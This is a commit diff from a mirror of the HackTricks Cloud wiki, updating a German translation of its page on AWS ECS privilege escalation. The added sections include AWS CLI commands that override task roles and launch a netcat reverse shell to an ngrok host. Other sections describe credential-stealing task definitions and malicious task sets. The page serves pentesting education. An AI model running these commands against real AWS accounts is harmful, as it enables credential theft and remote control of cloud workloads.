gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-29 22:20:33 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2025-08-31 08:13:00 +00:00
parent 0fdcbd6c78
commit beb64cbdaf
14 changed files with 82 additions and 33 deletions
Download Patch File Download Diff File Expand all files Collapse all files

115
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
View File

@@ -4,7 +4,7 @@
## ECS
Mehr **Info über ECS** in:
Mehr **Informationen über ECS** in:
{{#ref}}
../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ Mehr **Info über ECS** in:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Ein Angreifer, der die Berechtigungen `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**.
Ein Angreifer, der die Berechtigungen `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS ausnutzt, kann **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und diese **ausführen**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
Erstellen Sie einen Webhook mit einer Seite wie webhook.site
Erstelle einen webhook auf einer Seite wie webhook.site
```bash
# Create file container-definition.json
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen ECS-Rolle.
**Potential Impact:** Direkter privesc zu einer anderen ECS-Rolle.
### `iam:PassRole`,`ecs:RunTask`
Ein Angreifer, der die Berechtigungen `iam:PassRole` und `ecs:RunTask` besitzt, kann eine neue ECS-Task starten, bei der die **execution role**, **task role** und die **command**-Werte des Containers geändert werden. Der CLI-Befehl `ecs run-task` enthält die Option `--overrides`, die es ermöglicht, zur Laufzeit `executionRoleArn`, `taskRoleArn` und das Container-`command` zu ändern, ohne die Task-Definition anzupassen.
Die angegebenen IAM-Rollen für `taskRoleArn` und `executionRoleArn` müssen in ihrer Trust-Policy so konfiguriert sein, dass `ecs-tasks.amazonaws.com` sie übernehmen darf.
Außerdem muss der Angreifer wissen:
- ECS cluster name
- VPC Subnet
- Security group (Wenn keine Security group angegeben ist, wird die Standard-Security group verwendet)
- Task Definition Name and revision
- Name of the Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
Im obigen Codeausschnitt überschreibt ein Angreifer nur den Wert `taskRoleArn`. Der Angreifer muss jedoch die Berechtigung `iam:PassRole` für die in dem Befehl angegebene `taskRoleArn` und für die in der Task-Definition angegebene `executionRoleArn` besitzen, damit der Angriff ausgeführt werden kann.
Wenn die IAM-Rolle, die der Angreifer übergeben darf, ausreichende Berechtigungen hat, um ein Image aus ECR zu ziehen und die ECS-Task zu starten (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), dann kann der Angreifer dieselbe IAM-Rolle sowohl für `executionRoleArn` als auch für `taskRoleArn` im `ecs run-task`-Befehl angeben.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
**Potential Impact:** Direkter privesc auf jede ECS-Task-Rolle.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS missbraucht, **eine neue Task-Definition** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**.\
Allerdings muss in diesem Fall eine Container-Instanz vorhanden sein, um die bösartige Task-Definition auszuführen.
Ähnlich wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** Berechtigungen in ECS missbraucht, eine **neue Task-Definition** mit einem **bösartigen Container** erzeugen, der die Metadaten-Anmeldeinformationen stiehlt, und diese **ausführen**.\
Allerdings wird in diesem Fall eine Container-Instance benötigt, um die bösartige Task-Definition auszuführen.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -96,11 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder ECS-Rolle.
**Mögliche Auswirkungen:** Direkter privesc auf jede ECS-Rolle.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **diese ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.**
Wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** Berechtigungen in ECS missbraucht, **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und **diese ausführen, indem er einen neuen Service erstellt, der mindestens 1 Task ausführt.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -123,11 +170,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder ECS-Rolle.
**Potential Impact:** Direkter privesc zu jeder ECS role.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Tatsächlich ist es nur mit diesen Berechtigungen möglich, Überschreibungen zu verwenden, um beliebige Befehle in einem Container mit einer beliebigen Rolle auszuführen, mit etwas wie:
Tatsächlich ist es bereits mit diesen Berechtigungen möglich, overrides zu verwenden, um beliebige Befehle in einem container mit einer beliebigen role auszuführen, z. B. mit:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -135,16 +182,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder ECS-Rolle.
**Mögliche Auswirkungen:** Direkter privesc zu jeder ECS-Rolle.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Dieses Szenario ist wie die vorherigen, aber **ohne** die Berechtigung **`iam:PassRole`**.\
Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, auch wenn es ohne Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen** zu stehlen, die im Knoten ausgeführt werden.\
Sie könnten sogar **andere Aufgaben zwingen, innerhalb der EC2-Instanz** zu laufen, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc zu Knoten Abschnitt**](aws-ecs-privesc.md#privesc-to-node) besprochen).
Dieses Szenario ist wie die vorherigen, aber **ohne** die **`iam:PassRole`**-Berechtigung.\
Das ist weiterhin interessant, denn wenn Sie einen beliebigen container ausführen können, selbst ohne Rolle, könnten Sie einen **privileged container ausführen, um auf den node zu entkommen** und die **EC2 IAM role** sowie die **anderen ECS containers roles**, die auf dem node laufen, **stehlen**.\
Sie könnten sogar **andere Tasks dazu zwingen, innerhalb der EC2 instance zu laufen**, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) beschrieben).
> [!WARNING]
> Dieser Angriff ist nur möglich, wenn der **ECS-Cluster EC2**-Instanzen und nicht Fargate verwendet.
> Dieser Angriff ist nur möglich, wenn der **ECS cluster EC2** instances verwendet und nicht Fargate.
```bash
printf '[
{
@@ -187,12 +234,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Ein Angreifer mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **Befehle ausführen** innerhalb eines laufenden Containers und die angehängte IAM-Rolle exfiltrieren (du benötigst die Beschreibungsberechtigungen, da es notwendig ist, `aws ecs execute-command` auszuführen).\
Um dies zu tun, muss die Container-Instanz jedoch den **ExecuteCommand-Agent** ausführen (was standardmäßig nicht der Fall ist).
Ein attacker mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **execute commands** inside a running container und die daran angehängte IAM role exfiltrate (du brauchst die describe permissions, weil es notwendig ist, `aws ecs execute-command` auszuführen).\\
Um das jedoch zu tun, muss die container instance den **ExecuteCommand agent** ausführen (was standardmäßig nicht der Fall ist).
Daher könnte der Angreifer versuchen:
Daher könnte der attacker versuchen:
- **Versuche, einen Befehl** in jedem laufenden Container auszuführen.
- **Try to run a command** in every running container
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -210,18 +257,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Wenn er **`ecs:RunTask`** hat, führe eine Aufgabe mit `aws ecs run-task --enable-execute-command [...]` aus.
- Wenn er **`ecs:StartTask`** hat, führe eine Aufgabe mit `aws ecs start-task --enable-execute-command [...]` aus.
- Wenn er **`ecs:CreateService`** hat, erstelle einen Dienst mit `aws ecs create-service --enable-execute-command [...]` aus.
- Wenn er **`ecs:UpdateService`** hat, aktualisiere einen Dienst mit `aws ecs update-service --enable-execute-command [...]` aus.
- Wenn er **`ecs:RunTask`** hat, führe eine Task mit `aws ecs run-task --enable-execute-command [...]` aus
- Wenn er **`ecs:StartTask`** hat, starte eine Task mit `aws ecs start-task --enable-execute-command [...]`
- Wenn er **`ecs:CreateService`** hat, erstelle einen Service mit `aws ecs create-service --enable-execute-command [...]`
- Wenn er **`ecs:UpdateService`** hat, aktualisiere einen Service mit `aws ecs update-service --enable-execute-command [...]`
Du kannst **Beispiele für diese Optionen** in **früheren ECS privesc Abschnitten** finden.
Du findest **Beispiele für diese Optionen** in **vorherigen ECS privesc-Abschnitten**.
**Potenzielle Auswirkungen:** Privesc zu einer anderen Rolle, die an Containern angehängt ist.
**Potentielle Auswirkung:** Privesc zu einer anderen Rolle, die den Containern zugewiesen ist.
### `ssm:StartSession`
Überprüfe auf der **ssm privesc Seite**, wie du diese Berechtigung missbrauchen kannst, um **privesc zu ECS** zu erhalten:
Siehe in der **ssm privesc page** nach, wie du diese Berechtigung missbrauchen kannst, um **privesc zu ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -229,24 +276,26 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Überprüfe auf der **ec2 privesc Seite**, wie du diese Berechtigungen missbrauchen kannst, um **privesc zu ECS** zu erhalten:
Siehe in der **ec2 privesc page** nach, wie du diese Berechtigungen missbrauchen kannst, um **privesc zu ECS**:
{{#ref}}
aws-ec2-privesc.md
{{#endref}}
### `?ecs:RegisterContainerInstance`
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Aufgaben unter Maschinen ausgeführt werden, die vom Angreifer kontrolliert werden??
Ein Angreifer mit diesen Berechtigungen könnte potenziell eine EC2-Instanz in einem ECS-Cluster registrieren und darauf Tasks ausführen. Dadurch könnte der Angreifer beliebigen Code im Kontext der ECS-Tasks ausführen.
- TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Tasks auf von dem Angreifer kontrollierten Maschinen ausgeführt werden??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Teste dies
> TODO: Testen
Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges Task-Set für einen bestehenden ECS-Dienst erstellen und das primäre Task-Set aktualisieren**. Dies ermöglicht es dem Angreifer, **beliebigen Code innerhalb des Dienstes auszuführen**.
Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges Task-Set für einen bestehenden ECS-Service erstellen und das primäre Task-Set aktualisieren**. Dadurch kann der Angreifer **beliebigen Code innerhalb des Service ausführen**.
```bash
bashCopy code# Register a task definition with a reverse shell
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
@@ -270,7 +319,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potenzielle Auswirkungen**: Ausführen beliebigen Codes im betroffenen Dienst, was möglicherweise dessen Funktionalität beeinträchtigt oder sensible Daten exfiltriert.
**Mögliche Auswirkungen**: Beliebigen code im betroffenen Service ausführen, wodurch dessen Funktionalität beeinträchtigt werden kann oder exfiltrating sensitive data ermöglicht wird.
## Referenzen